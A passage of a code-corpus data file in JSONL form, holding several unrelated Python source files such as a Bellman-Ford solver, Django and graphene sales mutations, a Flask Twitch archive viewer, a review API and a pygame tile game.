+{"seq_id":"622657318","text":"\"\"\"\nBellman-Ford\n\nGiven times, a list of travel times as directed edges times[i] = (u, v, w), where u is the source node, v is the target node, and w is the time it takes for a signal to travel from source to target.\n\nNow, we send a signal from a certain node K. How long will it take for all nodes to receive the signal? If it is impossible, return -1.\n\nInput: times = [[2,1,1],[2,3,1],[3,4,1]], N = 4, K = 2\nOutput: 2\n\"\"\"\n\nfrom typing import List\nimport math\n\ndef networkDelayTime(times: List[List[int]], N: int, K: int) -> int:\n dist = [float('inf')] * (N + 1)\n dist[K] = 0\n\n for i in range(N):\n for t in times:\n u, v, w = t[0], t[1], t[2]\n if math.isfinite(dist[u]) and dist[v] > dist[u] + w:\n dist[v] = dist[u] + w\n \n maxweight = max(dist[1:])\n if math.isinf(maxweight):\n return -1\n else:\n return maxweight\n","sub_path":"graph/network_delay.py","file_name":"network_delay.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"502620053","text":"import graphene\nfrom graphql import GraphQLError\nfrom graphql_jwt.decorators import login_required\n\nfrom healthid.apps.consultation.models import CustomerConsultation\nfrom healthid.apps.outlets.models import Outlet\nfrom healthid.apps.products.models import Product\nfrom healthid.apps.sales.models import (SalesPrompt, Sale, SaleReturn)\nfrom healthid.apps.sales.schema.sales_schema import (\n ConsultationPaymentType, SalesPromptType,\n SaleType, SaleReturnType)\nfrom healthid.utils.app_utils.database import (SaveContextManager,\n get_model_object)\nfrom healthid.utils.auth_utils.decorator import user_permission\nfrom healthid.apps.receipts.models import Receipt\nfrom healthid.apps.receipts.schema.receipt_schema import ReceiptType\nfrom healthid.utils.messages.sales_responses import (SALES_ERROR_RESPONSES,\n SALES_SUCCESS_RESPONSES)\nfrom healthid.utils.messages.common_responses import SUCCESS_RESPONSES\n\n\nclass CreateSalesPrompts(graphene.Mutation):\n \"\"\"\n This Creates a Sales Prompt for a group of products particular Product\n \"\"\"\n sales_prompts = graphene.List(SalesPromptType)\n message = graphene.String()\n\n class Arguments:\n prompt_titles = graphene.List(graphene.String, required=True)\n descriptions = graphene.List(graphene.String, required=True)\n product_ids = graphene.List(graphene.Int, required=True)\n outlet_ids = graphene.List(graphene.Int, required=True)\n\n @login_required\n @user_permission('Manager')\n def mutate(self, info, **kwargs):\n product_ids = kwargs.get('product_ids')\n titles = kwargs.get('prompt_titles')\n prompt_descriptions = kwargs.get('descriptions')\n outlet_ids = kwargs.get('outlet_ids')\n sales_prompt_count = 0\n valid_list = all(len(product_ids) == len(list_inputs)\n for list_inputs in\n [titles, prompt_descriptions, outlet_ids])\n\n if not valid_list or len(product_ids) < 1:\n raise GraphQLError(SALES_ERROR_RESPONSES[\"incomplete_list\"])\n\n for title, description in zip(titles, prompt_descriptions):\n if title.strip() == \"\" or description.strip() == \"\":\n raise GraphQLError(SALES_ERROR_RESPONSES[\"title_error\"])\n created_prompts = []\n for index, title in enumerate(titles, 0):\n params = {'model': SalesPrompt}\n sales_prompt = SalesPrompt(\n prompt_title=title.title(),\n description=prompt_descriptions[index],\n product_id=get_model_object(Product, 'id',\n product_ids[index]).id,\n outlet_id=get_model_object(Outlet, 'id',\n outlet_ids[index]).id)\n\n with SaveContextManager(sales_prompt, **params) as sales_prompt:\n created_prompts.append(sales_prompt)\n sales_prompt_count += 1\n\n return CreateSalesPrompts(\n sales_prompts=created_prompts,\n message=SUCCESS_RESPONSES[\n \"creation_success\"].format(\n \"Sales prompt \" + str(\n sales_prompt_count)))\n\n\nclass UpdateSalesPrompt(graphene.Mutation):\n \"\"\"\n This Updates a Sales prompt\n \"\"\"\n success = graphene.String()\n salesPrompt = graphene.Field(SalesPromptType)\n\n class Arguments:\n id = graphene.Int(required=True)\n prompt_title = graphene.String()\n description = graphene.String()\n product_id = graphene.Int()\n outlet_id = graphene.Int()\n\n @login_required\n @user_permission('Manager')\n def mutate(self, info, id, **kwargs):\n salesPrompt = get_model_object(SalesPrompt, 'id', id)\n for key, value in kwargs.items():\n if key in [\"prompt_title\", \"description\"]:\n if value.strip() == \"\":\n raise GraphQLError(SALES_ERROR_RESPONSES[\"title_error\"])\n setattr(salesPrompt, key, value)\n params = {'model': SalesPrompt}\n with SaveContextManager(salesPrompt, **params) as salesPrompt:\n return UpdateSalesPrompt(\n success=SUCCESS_RESPONSES[\n \"update_success\"].format(\"Sales prompt\"),\n salesPrompt=salesPrompt)\n\n\nclass DeleteSalesPrompt(graphene.Mutation):\n \"\"\"\n This deletes a Sales prompt\n \"\"\"\n id = graphene.Int()\n success = graphene.String()\n\n class Arguments:\n id = graphene.Int()\n\n @login_required\n @user_permission('Manager')\n def mutate(self, info, id):\n user = info.context.user\n prompt = get_model_object(SalesPrompt, 'id', id)\n prompt.delete(user)\n return DeleteSalesPrompt(\n success=SUCCESS_RESPONSES[\n \"deletion_success\"].format(\"Sales prompt\"))\n\n\nclass Batches(graphene.InputObjectType):\n \"\"\"\n This class defines necessary fields of a product to be sold\n \"\"\"\n batch_id = graphene.ID()\n # product_id = graphene.Int()\n quantity = graphene.Int()\n discount = graphene.Float()\n price = graphene.Float()\n note = graphene.String()\n\n\nclass CreateSale(graphene.Mutation):\n \"\"\"\n Create a sale\n \"\"\"\n sale = graphene.Field(SaleType)\n message = graphene.String()\n error = graphene.String()\n receipt = graphene.Field(ReceiptType)\n\n class Arguments:\n customer_id = graphene.String()\n outlet_id = graphene.Int(required=True)\n batches = graphene.List(Batches, required=True)\n discount_total = graphene.Float(graphene.Float, required=True)\n sub_total = graphene.Float(graphene.Float, required=True)\n amount_to_pay = graphene.Float(graphene.Float, required=True)\n paid_amount = graphene.Float(graphene.Float, required=True)\n change_due = graphene.Float(graphene.Float, required=True)\n payment_method = graphene.String(graphene.String, required=True)\n notes = graphene.String()\n\n @login_required\n def mutate(self, info, **kwargs):\n new_sale = Sale()\n new_receipt = Receipt()\n sale = new_sale.create_sale(info=info, **kwargs)\n receipt = new_receipt.create_receipt(sale, kwargs.get('outlet_id'))\n return CreateSale(sale=sale,\n receipt=receipt,\n message=SALES_SUCCESS_RESPONSES[\n \"create_sales_success\"])\n\n\nclass ConsultationPayment(graphene.Mutation):\n \"\"\"\n Make payment for a consultation\n Args:\n customer_consultation_id (id) id of the consultation item\n discount_total (float) discount given if any\n sub_total (float) sale subtotal\n paid_amount (float) amount client has given\n change_due (float) change due to client\n payment_method (str) payment option chosen\n notes (str) Narrative for the sale\n returns:\n sale object for the consultation,\n otherwise a GraphqlError is raised\n \"\"\"\n sale = graphene.Field(ConsultationPaymentType)\n message = graphene.String()\n receipt = graphene.Field(ReceiptType)\n\n class Arguments:\n customer_consultation_id = graphene.Int(required=True)\n discount_total = graphene.Float(graphene.Float, required=True)\n sub_total = graphene.Float(graphene.Float, required=True)\n paid_amount = graphene.Float(graphene.Float, required=True)\n change_due = graphene.Float(graphene.Float, required=True)\n payment_method = graphene.String(graphene.String, required=True)\n notes = graphene.String()\n\n @login_required\n def mutate(self, info, **kwargs):\n user = info.context.user\n customer_consultation_id = kwargs.get('customer_consultation_id')\n customer_consultation = get_model_object(\n CustomerConsultation, 'id', customer_consultation_id)\n outlet = customer_consultation.outlet\n\n if customer_consultation.paid:\n raise GraphQLError(SALES_ERROR_RESPONSES[\"already_marked_as_paid\"])\n\n price = customer_consultation.consultation_type.price_per_session\n new_sale = Sale(\n sales_person=user, customer=customer_consultation.customer,\n outlet=outlet,\n amount_to_pay=price)\n\n del kwargs['customer_consultation_id']\n for (key, value) in kwargs.items():\n setattr(new_sale, key, value)\n\n with SaveContextManager(new_sale, model=Sale) as new_sale:\n pass\n\n customer_consultation.paid = True\n customer_consultation.sale_record = new_sale\n customer_consultation.save()\n\n new_receipt = Receipt()\n receipt = new_receipt.create_receipt(new_sale, outlet.id)\n\n return ConsultationPayment(\n sale=new_sale, receipt=receipt, message='message')\n\n\nclass SalesReturnEnum(graphene.Enum):\n CustomerError = 'wrong product bought'\n RetailerError = 'Returned to Distributor'\n DamagedProduct = 'Damaged Product'\n ExpiredProduct = 'Expired Product'\n Others = 'Others'\n\n\nclass PayEnum(graphene.Enum):\n \"\"\"\n This class defines choices for refund compensation type\n \"\"\"\n Cash = 'cash'\n StoreCredit = 'store credit'\n\n\nclass ReturnedProducts(graphene.InputObjectType):\n \"\"\"\n This class defines necessary fields of a product to be returned\n \"\"\"\n batch_id = graphene.ID(required=True)\n # product_id = graphene.Int(required=True)\n quantity = graphene.Int(required=True)\n price = graphene.Float(required=True)\n resellable = graphene.Boolean(required=True)\n return_reason = graphene.Argument(SalesReturnEnum, required=True)\n\n\nclass InitiateSaleReturn(graphene.Mutation):\n \"\"\"\n initiate a sales return by user(Cashier, manager or accountant)\n \"\"\"\n message = graphene.String()\n sales_return_initiated = graphene.Field(SaleReturnType)\n error = graphene.String()\n\n class Arguments:\n sale_id = graphene.Int(required=True)\n returned_batches = graphene.List(ReturnedProducts, required=True)\n outlet_id = graphene.Int(required=True)\n return_amount = graphene.Float(required=True)\n return_note = graphene.String()\n refund_compensation_type = graphene.Argument(PayEnum, required=True)\n\n @login_required\n def mutate(self, info, **kwargs):\n new_return = SaleReturn()\n return_initiated = new_return.create_return(\n user=info.context.user, **kwargs)\n return InitiateSaleReturn(\n message=SALES_SUCCESS_RESPONSES[\"sale_intiate_success\"],\n sales_return_initiated=return_initiated)\n\n\nclass ApproveSalesReturn(graphene.Mutation):\n sales_return = graphene.Field(SaleReturnType)\n message = graphene.String()\n\n class Arguments:\n sales_return_id = graphene.Int(required=True)\n sales_id = graphene.Int(required=True)\n returned_sales = graphene.List(graphene.Int, required=True)\n\n @login_required\n @user_permission('Manager')\n def mutate(self, info, **kwargs):\n sales_id = kwargs.get('sales_id')\n returned_sales = kwargs.get('returned_sales')\n\n if not returned_sales:\n raise GraphQLError(SALES_ERROR_RESPONSES[\"empty_sales_return\"])\n\n receipt = get_model_object(Receipt, 'sale_id', sales_id)\n\n new_return = SaleReturn()\n sales_return = new_return.approve_sales_return(\n user=info.context.user, receipt=receipt, **kwargs)\n\n return ApproveSalesReturn(\n sales_return=sales_return,\n message=SALES_SUCCESS_RESPONSES[\"sales_return_approved\"])\n\n\nclass Mutation(graphene.ObjectType):\n create_salesprompts = CreateSalesPrompts.Field()\n delete_salesprompt = DeleteSalesPrompt.Field()\n update_salesprompt = UpdateSalesPrompt.Field()\n create_sale = CreateSale.Field()\n consultation_payment = ConsultationPayment.Field()\n initiate_sales_return = InitiateSaleReturn.Field()\n approve_sales_return = ApproveSalesReturn.Field()\n","sub_path":"healthid/apps/sales/schema/sales_mutation.py","file_name":"sales_mutation.py","file_ext":"py","file_size_in_byte":12022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"161244592","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path(\"\", views.index, name=\"index\"),\n path(\"closed_listings\", views.closed_listings, name=\"closed_listings\"),\n path(\"login\", views.login_view, name=\"login\"),\n path(\"logout\", views.logout_view, name=\"logout\"),\n path(\"register\", views.register, name=\"register\"),\n path(\"create_listing\", views.create_listing, name=\"create_listing\"),\n path(\"listing/\", views.listing_page, name=\"listing_page\"),\n path(\"bidding/\", views.bidding, name=\"bidding\"),\n path(\"watchlist\", views.watchlist, name=\"watchlist\"),\n path(\"add_to_watchlist/\", views.add_to_watchlist, name=\"add_to_watchlist\"),\n path(\"watchlist_remove/\", views.watchlist_remove, name=\"watchlist_remove\"),\n path(\"end_listing//\", views.end_listing, name=\"end_listing\"),\n path(\"categories\", views.categories, name=\"categories\"),\n path(\"category/\", views.category_listings, name=\"category_listings\"),\n path(\"comments/\", views.add_comments, name=\"add_comments\")\n]\n","sub_path":"auctions/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"101388328","text":"import urllib.request\nimport urllib.parse\nimport time\nimport os\nimport contextlib\nimport tempfile\nimport datetime\n\nimport flask\nimport flask.json\nimport dateutil.parser\n\nfrom common import utils\nfrom www import server\nfrom www import login\n\n\nCACHE_TIMEOUT = 5*60\n\nBEFORE_BUFFER = datetime.timedelta(minutes=15)\nAFTER_BUFFER = datetime.timedelta(minutes=15)\n\n@utils.cache(CACHE_TIMEOUT, params=[0, 1])\ndef archive_feed_data(channel, broadcasts):\n\turl = \"https://api.twitch.tv/kraken/channels/%s/videos?broadcasts=%s&limit=%d\" % (urllib.parse.quote(channel, safe=\"\"), \"true\" if broadcasts else \"false\", 100)\n\tfp = urllib.request.urlopen(url)\n\tdata = fp.read()\n\tfp.close()\n\tdata = data.decode()\n\n\t# For broadcasts:\n\t# {'videos': [{'_id': 'a508090853',\n\t# '_links': {'channel': 'https://api.twitch.tv/kraken/channels/loadingreadyrun',\n\t# 'self': 'https://api.twitch.tv/kraken/videos/a508090853'},\n\t# 'broadcast_id': 8737631504,\n\t# 'channel': {'display_name': 'LoadingReadyRun',\n\t# 'name': 'loadingreadyrun'},\n\t# 'description': None,\n\t# 'game': 'Prince of Persia: Warrior Within',\n\t# 'length': 9676,\n\t# 'preview': 'http://static-cdn.jtvnw.net/jtv.thumbs/archive-508090853-320x240.jpg',\n\t# 'recorded_at': '2014-03-04T02:40:58Z',\n\t# 'title': \"Beej's Backlog - Playing PoP: WW\",\n\t# 'url': 'http://www.twitch.tv/loadingreadyrun/b/508090853',\n\t# 'views': 0},\n\t# ...]}\n\t# For highlights:\n\t# {'videos': [{'_id': 'c3518839',\n\t# '_links': {'channel': 'https://api.twitch.tv/kraken/channels/loadingreadyrun',\n\t# 'self': 'https://api.twitch.tv/kraken/videos/c3518839'},\n\t# 'broadcast_id': 8137157616,\n\t# 'channel': {'display_name': 'LoadingReadyRun',\n\t# 'name': 'loadingreadyrun'},\n\t# 'description': \"Beej's gets up to speed in Prince of Persia: Warrior Within\",\n\t# 'game': 'Prince of Persia: Warrior Within',\n\t# 'length': 3557,\n\t# 'preview': 'http://static-cdn.jtvnw.net/jtv.thumbs/archive-493319305-320x240.jpg',\n\t# 'recorded_at': '2014-01-07T04:16:42Z',\n\t# 'title': \"Beej's Backlog —2014-01-06 PT2\",\n\t# 'url': 'http://www.twitch.tv/loadingreadyrun/c/3518839',\n\t# 'views': 466},\n\t# ...]}\n\n\tvideos = flask.json.loads(data)['videos']\n\tfor video in videos:\n\t\tvideo[\"recorded_at\"] = dateutil.parser.parse(video[\"recorded_at\"])\n\treturn videos\n\n@server.app.route('/archive')\n@login.with_session\ndef archive(session):\n\tchannel = flask.request.values.get('channel', 'loadingreadyrun')\n\tbroadcasts = 'highlights' not in flask.request.values\n\treturn flask.render_template(\"archive.html\", videos=archive_feed_data(channel, broadcasts), broadcasts=broadcasts, session=session)\n\n@server.app.route('/archivefeed')\ndef archive_feed():\n\tchannel = flask.request.values.get('channel', 'loadingreadyrun')\n\tbroadcasts = 'highlights' not in flask.request.values\n\trss = flask.render_template(\"archive_feed.xml\", videos=archive_feed_data(channel, broadcasts), broadcasts=broadcasts)\n\treturn flask.Response(rss, mimetype=\"application/xml\")\n\n@utils.with_postgres\ndef chat_data(conn, cur, starttime, endtime, target=\"#loadingreadyrun\"):\n\tcur.execute(\"SELECT messagehtml FROM log WHERE target = %s AND time BETWEEN %s AND %s ORDER BY time ASC\", (\n\t\ttarget,\n\t\tstarttime,\n\t\tendtime\n\t))\n\treturn [message for (message,) in cur]\n\n@utils.cache(CACHE_TIMEOUT, params=[0])\ndef get_video_data(videoid):\n\ttry:\n\t\twith contextlib.closing(urllib.request.urlopen(\"https://api.twitch.tv/kraken/videos/%s\" % videoid)) as fp:\n\t\t\tvideo = flask.json.load(fp)\n\t\tstart = dateutil.parser.parse(video[\"recorded_at\"])\n\t\treturn {\n\t\t\t\"start\": start,\n\t\t\t\"end\": start + datetime.timedelta(seconds=video[\"length\"]),\n\t\t\t\"title\": video[\"title\"],\n\t\t\t\"id\": videoid,\n\t\t\t\"channel\": video[\"channel\"][\"name\"]\n\t\t}\n\texcept:\n\t\treturn None\n\n@server.app.route('/archive/')\ndef archive_watch(videoid):\n\tstarttime = utils.parsetime(flask.request.values.get('t'))\n\tif starttime:\n\t\tstarttime = int(starttime.total_seconds())\n\tvideo = get_video_data(videoid)\n\tif video is None:\n\t\treturn \"Unrecognised video\"\n\tchat = chat_data(video[\"start\"] - BEFORE_BUFFER, video[\"end\"] + AFTER_BUFFER)\n\treturn flask.render_template(\"archive_watch.html\", video=video, chat=chat, starttime=starttime)\n","sub_path":"www/archive.py","file_name":"archive.py","file_ext":"py","file_size_in_byte":4517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"492882440","text":"from __future__ import print_function\n\nimport csv\n\nfrom Implementations.setup import Setup\nfrom Implementations.common_functions import CommonFunctions\n\nimport sys\nimport os\nimport re\nimport traceback\nfrom collections import defaultdict\nfrom datetime import datetime\nfrom ConfigFiles import paths,logger_util\n\n\nclass CEDFunctions(CommonFunctions):\n def __init__(self,test_class_name):\n super().__init__(test_class_name)\n self.ced_func_log = logger_util.get_logger(test_class_name +\" :: \" +__name__)\n\n # log = CommonFunctions.log\n if paths.input_files_path is not None:\n input_file_path = paths.input_files_path\n else:\n input_file_path = Setup.testfilespath\n\n # input_files_path = Setup.testfilespath\n result_files_path = Setup.resultFilePath\n runTime = datetime.now().strftime(\"%d%b%Y_%H.%M.%S\") # current time in ddmmyyyy_hh24mmss\n report = \"Result_\" + str(runTime) + \"\"\n\n # def getIndex(self,searchColumn,content):\n # try:\n # for row in content:\n # row = row.strip().replace('\\\"', '')\n # listOfColumns = re.split(',',row)\n # indexOfSearchCol = listOfColumns.index(searchColumn)\n # indexOfEventStoredDt = listOfColumns.index(\"EVENT_STORED_DT\")\n # # print(\"Index of Search COlumn is :\", indexOfSearchCol, \"and Index of Event Stored Date is :\",\n # indexOfEventStoredDt)\n # except Exception as e:\n # print('\\n*****ERROR ON LINE {}'.format(sys.exc_info()[-1].tb_lineno), \",\", type(e).__name__, \":\", e,\n # \"*****\\n\")\n # print(traceback.format_exc())\n #\n # return indexOfSearchCol, indexOfEventStoredDt\n #\n # def getSearchColumn(self,cedFile):\n #\n # searchKey = \"LAUNCH_ID\"\n # if re.match(r'[0-9]+_' + 'OPT', cedFile):\n # searchColumn = 'RIID'\n # elif re.match(r'[0-9]+_' + 'SMS_OPT', cedFile):\n # searchColumn = 'RIID'\n # elif re.match(r'[0-9]+_' + 'FORM', cedFile):\n # searchColumn = 'FORM_ID'\n # elif re.match(r'[0-9]+_' + 'FORM_STATE', cedFile):\n # searchColumn = 'FORM_ID'\n # elif re.match(r'[0-9]+_' + 'PROGRAM', cedFile):\n # searchColumn = 'PROGRAM_ID'\n # elif re.match(r'[0-9]+_' + 'PROGRAM_STATE', cedFile):\n # searchColumn = 'PROGRAM_ID'\n # elif re.match(r'[0-9]+_' + 'HOLDOUT', cedFile):\n # searchColumn = 'PROGRAM_ID'\n # elif re.match(r'[0-9]+_' + 'PUSH_UNINSTALL', cedFile):\n # searchColumn = 'RIID'\n # else:\n # searchColumn = searchKey\n #\n # return searchColumn\n #\n # def findFiles(self):\n # count = 0\n # try:\n # files = os.listdir(self.input_file_path)\n # for fname in range(len(files)):\n # count += 1\n # print(\"\\nThere are total\", count, \"files to processed:\")\n # print(*files, sep=\"\\n\")\n # except Exception as e:\n # print('\\n*****ERROR ON LINE {}'.format(sys.exc_info()[-1].tb_lineno), \",\", type(e).__name__, \":\", e,\n # \"*****\\n\")\n # print(traceback.format_exc())\n #\n # return files\n\n # def get_ids_from_ced(self, ced_file):\n # IDs = []\n # event_stored_date = defaultdict(list)\n # unique_IDs = defaultdict(list)\n # try:\n # with open(os.path.join(CEDFunctions.input_file_path, ced_file), 'r') as f:\n # content = f.readlines()\n # header_row = content[:1]\n # event_type = re.split(r\"\\d+\", ced_file)\n # event_type = event_type[1].strip('_')\n #\n # search_column = self.get_search_column(ced_file)\n # index_Of_search_column, index_Of_event_stored_date = self.get_index(search_column, ced_file)\n #\n # for row in content[1:]:\n # row = row.strip().replace('\\\"', '')\n # col_data = re.split(';|,|\\t|\\||\"\"', row)\n # id_value = col_data[index_Of_search_column]\n # event_stored_time = col_data[index_Of_event_stored_date]\n # IDs.append(id_value)\n # event_stored_date[id_value].append(event_stored_time)\n #\n # unique_IDs = set(IDs)\n # self.ced_func_log.info(\"There are %s records in file %s & the Unique %s are :: %s\" %(len(IDs),ced_file ,search_column,len(unique_IDs)))\n #\n # return IDs, unique_IDs, event_stored_date, search_column, event_type\n # except Exception as e:\n # self.ced_func_log.error('*** ERROR ON LINE %s , %s : %s ***' % (format(sys.exc_info()[-1].tb_lineno), type(e).__name__, e))\n def get_ids_from_ced(self, ced_file,delimiter,quotechar):\n IDs = []\n event_stored_date = defaultdict(list)\n unique_IDs = defaultdict(list)\n try:\n with open(os.path.join(CEDFunctions.input_file_path, ced_file), 'r') as file:\n content = csv.reader(file,delimiter=delimiter,quotechar=quotechar)\n header_row = next(content)\n event_type = re.split(r\"\\d+\", ced_file)\n event_type = event_type[1].strip('_')\n search_column = self.get_search_column(ced_file)\n index_Of_search_column = header_row.index(search_column)\n index_Of_event_stored_date = header_row.index(\"EVENT_STORED_DT\")\n for row in content:\n # for col in row:\n id_value = row[index_Of_search_column]\n event_stored_time = row[index_Of_event_stored_date]\n IDs.append(id_value)\n event_stored_date[id_value].append(event_stored_time)\n unique_IDs = set(IDs)\n self.ced_func_log.info(\"There are %s records in file %s & the Unique %s are :: %s\" %(len(IDs),ced_file ,search_column,len(unique_IDs)))\n return IDs, unique_IDs, event_stored_date, search_column, event_type\n except Exception as e:\n self.ced_func_log.error('*** ERROR ON LINE %s , %s : %s ***' % (format(sys.exc_info()[-1].tb_lineno), type(e).__name__, e))\n\n def get_count_from_ced(self, IDs, uniqueIDs):\n d_count_from_ced = defaultdict(list)\n try:\n # self.ced_func_log.info(\"Getting count from CED file.\")\n for id in uniqueIDs:\n count = IDs.count(id)\n d_count_from_ced[id].append(count)\n # print(\"Count for the ID \" +str(id) + \" is : \" + str(count) )\n except Exception as e:\n message = \"*****ERROR ON LINE {}\".format(sys.exc_info()[-1].tb_lineno), \",\", type(e).__name__, \":\", e, \"*****\"\n self.ced_func_log.info(message)\n return d_count_from_ced\n\n def read_data_from_ced(self,file, unique_IDs, search_column):\n print(\"*** Reading Data From File :: \", file , \" for each ID's ***\")\n self.ced_func_log.info(\"Reading Data From File :: \", file , \" for each ID's\")\n ced_data = defaultdict(list)\n\n for id in unique_IDs:\n with open(os.path.join(CEDFunctions.input_file_path, file), 'r') as f:\n content = f.readlines()\n\n for row in content[:1]:\n stripped_row = row.strip().replace('\\\"', '')\n all_columns = re.split(';|,|\\t|\"\"', stripped_row)\n for i in all_columns:\n if i == 'EVENT_STORED_DT':\n index_Of_stored_date = all_columns.index(i)\n break\n # index_Of_stored_date[file].append(stored_date_index)\n\n for row in content[1:]:\n if id in row:\n row = row.strip()\n split_columns = re.split(',(?=(?:[^\\\"]*\\\"[^\\\"]*\\\")*[^\\\"]*$)',row)\n # strippedRow = row.strip().replace('\\\"', '')\n # strippedRow = row.strip()\n pattern = ',|\\t|\"\"'\n # all_columns_Of_row = re.split(pattern, strippedRow)\n # all_columns_Of_row = (lambda col : col.strip('\"') ,split_columns)\n for eachColumn in split_columns:\n eachColumn = eachColumn.strip('\"')\n ced_data[id].append(eachColumn)\n # all_data[id].append(event_data)\n\n # print(\"Data for ID \", id, \" is:\", allData)\n # print(\"Data for file \", cedFile,\" is:\",allData[cedFile])\n # print(\"\\nData is :\\n\",ced_data)\n return ced_data, index_Of_stored_date\n\n def read_ced_data_for_validation(self,file, unique_IDs, search_column,delimiter,quotechar):\n # print(\"*** Reading Data From File :: \", file , \" ***\")\n ced_data = defaultdict(lambda: defaultdict(list))\n index_Of_stored_date = None\n\n with open(os.path.join(CEDFunctions.input_file_path, file), 'r') as file:\n content = csv.reader(file,delimiter=delimiter,quotechar=quotechar)\n header = next(content)\n index_Of_stored_date = header.index(\"EVENT_STORED_DT\")\n\n for id in unique_IDs:\n rownum = 0\n for rowData in content:\n if id in rowData:\n for eachColumn in rowData:\n ced_data[id][rownum].append(eachColumn)\n rownum +=1\n # rownum = 0\n return ced_data, index_Of_stored_date\n\n# cedFiles = CEDFunctions().findFiles()\n# # CEDFunctions().getIndex()\n# CEDFunctions().getIDsFromCED(cedFiles)\n","sub_path":"Implementations/ced_functions.py","file_name":"ced_functions.py","file_ext":"py","file_size_in_byte":9566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"63900736","text":"from flask import make_response, jsonify\nfrom flask_restful import Resource, reqparse\nfrom backendflask.adapters.memoryrepository import MemoryRepository\nfrom backendflask.adapters.gcloudrepository import GCloudRepository\nfrom backendflask.domain_models.review import Review\nfrom backendflask.domain_models.movie import Movie\nimport json\n\n# DB Connection\ndb = MemoryRepository()\n#b = GCloudRepository()\n\n# Request Parser\nparser = reqparse.RequestParser()\n\nparser.add_argument('reviewID',\n help=\"Review Identifier\")\nparser.add_argument('personID',\n help=\"User ID of the user who posted the review\")\nparser.add_argument('movieTitle',\n help=\"Title of the movie being reviewed\")\nparser.add_argument('reviewText',\n help=\"Text content of the review posted\")\n\n\nclass ReviewList(Resource):\n\n def get(self):\n response = {\n \"reviews\": [review.toJSON() for review in db.get_all_reviews()]\n }\n return make_response(jsonify(response), 200)\n\n def post(self):\n args = parser.parse_args()\n response = {\n \"successful\": False,\n \"personID\": args['personID'],\n \"movieTitle\": args['movieTitle'],\n \"reviewText\": args['reviewText']\n }\n response['successful'] = True if db.add_review(\n Review(\n reviewID=args['reviewID'],\n personID=args['personID'],\n movie=Movie(title=args['movieTitle']),\n review_text=args['reviewText'],\n )\n ) else False\n if response['successful']:\n return make_response(jsonify(response), 201)\n else:\n return make_response(jsonify(response), 400)\n","sub_path":"backendflask/api/review_list.py","file_name":"review_list.py","file_ext":"py","file_size_in_byte":1755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"215331179","text":"\nfrom tilegamelib import Frame, Vector, TileFactory, TiledMap\nfrom tilegamelib import EventGenerator, ExitListener, FigureMoveListener, FigureColorListener\nfrom tilegamelib.sprites import Sprite\nfrom tilegamelib.draw_timer import draw_timer\nfrom tilegamelib.move import wait_for_move\nfrom tilegamelib.game import Game\nfrom tilegamelib.vector import RED, BLUE, YELLOW, PURPLE, GREEN, ORANGE\nfrom pygame import Rect\nimport pygame\nimport time\n\n\nFRUITMAP = \"\"\"##########\n#b.#...aa#\n##.#.#####\n#h.#.e#.c#\n##.#.##.##\n##a#.#f..#\n#*..b..#g#\n##########\"\"\"\n\n\nFIGURE_COLORS = {\n RED: 'b.pac_up',\n BLUE: 'b.pac_down',\n YELLOW: 'b.pac_left',\n PURPLE: 'b.ghost',\n GREEN: 'b.tail',\n ORANGE: 'b.dot'\n}\n\n\nclass Colors:\n\n def __init__(self, screen):\n self.screen = screen\n self.frame = Frame(self.screen, Rect(0, 0, 640, 640))\n self.tile_factory = TileFactory('data/tiles.conf')\n self.tm = TiledMap(self.frame, self.tile_factory)\n self.player = Sprite(self.frame, self.tile_factory.get('b.pac_right'),\n Vector(4, 1), speed=2)\n self.tm.set_map(FRUITMAP)\n self.draw()\n self.events = None\n self.score = 0\n\n def draw(self):\n self.tm.draw()\n self.player.draw()\n pygame.display.update()\n\n def move(self, direction):\n nearpos = self.player.pos + direction\n near = self.tm.at(nearpos)\n if near == '#':\n return\n self.player.add_move(direction)\n wait_for_move(self.player, self.screen, self.draw, 0.01)\n self.check_player_square()\n\n def set_color(self, color):\n self.player.tile = self.tile_factory.get(FIGURE_COLORS[color])\n\n def check_player_square(self):\n field = self.tm.at(self.player.pos)\n if field == '*':\n time.sleep(1)\n self.events.exit_signalled()\n elif field in 'abcdefgh':\n self.score += 100\n self.tm.set_tile(self.player.pos, '.')\n self.tm.cache_map()\n self.draw()\n\n def run(self):\n self.events = EventGenerator()\n self.events.add_listener(FigureMoveListener(self.move))\n self.events.add_listener(FigureColorListener(self.set_color))\n self.events.add_listener(ExitListener(self.events.exit_signalled))\n with draw_timer(self, self.events):\n self.events.event_loop()\n\n\nif __name__ == '__main__':\n game = Game('data/collect_fruit.conf', Colors) #Change to data/colors.conf after creating title screen\n game.run()\n","sub_path":"examples/colors.py","file_name":"colors.py","file_ext":"py","file_size_in_byte":2542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"21639400","text":"import os\n\n\ndef main(j, args, params, tags, tasklet):\n params.result = page = args.page\n\n try:\n spaces = j.portal.tools.server.active.getSpaces()\n for space_name in spaces:\n space = j.portal.tools.server.active.getSpace(space_name, ignore_doc_processor=True)\n space_path = os.path.abspath(space.model.path)\n j.system.process.execute('cd %s;git pull' % space_path)\n page.addMessage('Pulled and Updated')\n except Exception as error:\n page.addMessage('Something went wrong with updating one more or more of the spaces')\n\n return params\n\n\ndef match(j, args, params, tags, tasklet):\n return True\n","sub_path":"apps/portalbase/macros/page/pull_update/1_pull_update.py","file_name":"1_pull_update.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"11993980","text":"import copy\nimport numpy as np\n\nfrom itertools import product\nfrom pprint import pprint\n\nfrom d3m import exceptions, utils, index as d3m_index\nfrom d3m.metadata import base as metadata_base\nfrom d3m.metadata.pipeline import Pipeline, PrimitiveStep\nfrom configuration_space import SimpleConfigurationSpace, ConfigurationPoint\n\n\nclass DSBoxTemplate():\n def __init__(self):\n 